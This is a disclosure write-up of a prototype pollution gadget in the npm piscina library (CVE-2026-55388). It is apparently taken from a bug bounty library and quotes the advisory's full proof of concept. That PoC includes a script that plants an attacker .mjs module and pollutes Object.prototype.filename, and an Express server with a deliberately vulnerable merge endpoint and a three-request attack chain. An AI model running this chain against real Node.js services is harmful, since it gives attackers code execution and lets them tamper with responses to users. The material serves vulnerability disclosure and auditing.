# piscina: Prototype Pollution Gadget → RCE via inherited options.filename

Piscina reads options.filename via prototype chain, so upstream prototype pollution hijacks worker loading and runs attacker .mjs with caller task data.

- Payout: Research
- Severity: high
- Program: Piscina
- Found by: ridingsa
- Disclosed: 2026-06-18
- CVE: CVE-2026-55388
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-x9g3-xrwr-cwfg
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-x9g3-xrwr-cwfg
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:prototype-pollution vuln:rce

**Target:** Node.js worker pool library (npm piscina) option parsing
**Root cause:** Constructor and run() read options.filename via plain member access, falling through to Object.prototype when not an own property; polluted value flows to worker_threads.Worker import.
**Steps:**
1. Drop attacker module at readable path, e.g. `/tmp/atk.mjs` exporting a default function.
2. Pollute Object.prototype via an upstream PP source: `{"__proto__":{"filename":"/tmp/atk.mjs"}}` merged into an object.
3. Create pool `new Piscina({})` (or use existing pool) and call `pool.run(task, {signal: ac.signal})` — caller-built options object inherits polluted filename.
4. Worker imports attacker .mjs; attacker function invoked with caller task data and controls return value.
**How found:** Generalized the pino disclosure mechanism: any library reading a string option via plain member access and dynamic-loading it (import/require/new Worker) is a candidate. Swept 10 libraries; piscina and fastify (via pino) fired.
**Exploitation:** Chain: upload endpoint drops attacker .mjs, PP-source endpoint pollutes Object.prototype.filename, then any pool.run(task, opts) with caller-built options loads attacker worker; attacker reads per-request data and poisons responses until process restart.
**Escalation:** Persists process-wide across all pool.run calls; attacker function invoked with each caller's task data and controls returned values to legitimate clients.
**Insight:** When auditing PP gadgets, check whether the vulnerable read is an own-property default (kDefaultRunOptions has filename:null own prop, safe) versus caller-supplied options objects that inherit from Object.prototype — the latter is the exploitable shape.

## Proof of concept (copied exactly from the original report)

**Minimal in-process prototype pollution RCE PoC**

```
import fs from 'fs';

// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
  import fs from 'fs';
  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
  }));
  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);

// 2) Upstream PP-source — pollute Object.prototype.filename
//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
//     and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}
vulnMerge({}, payload);

// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({});                        // inherits filename
const result = await p.run({});                   // worker imports /tmp/atk.mjs
await p.destroy();

// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"
```

**HTTP chain hijacking pool.run via polluted filename**

```
// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';

// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}

// CORRECT pool init at boot
const pool = new Piscina({
  filename: './valid-worker.mjs',
  minThreads: 1, maxThreads: 2,
});

const config = {};
const app = express();

app.post('/api/settings', express.json(), (req, res) => {
  vulnMerge(config, req.body);                    // PP source
  res.json({ ok: true });
});

app.post('/api/process', express.json(), async (req, res) => {
  const ac = new AbortController();
  const result = await pool.run(req.body, { signal: ac.signal });  // <-- hijacked
  res.json({ ok: true, worker_response: result });
});

app.listen(7755);

// === Attacker, 3 HTTP requests ===
// POST /upload  → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
//                  → worker imports /tmp/atk.mjs
//                  → attacker fn called with req.body of THIS request
//                  → caller receives attacker-shaped response
```

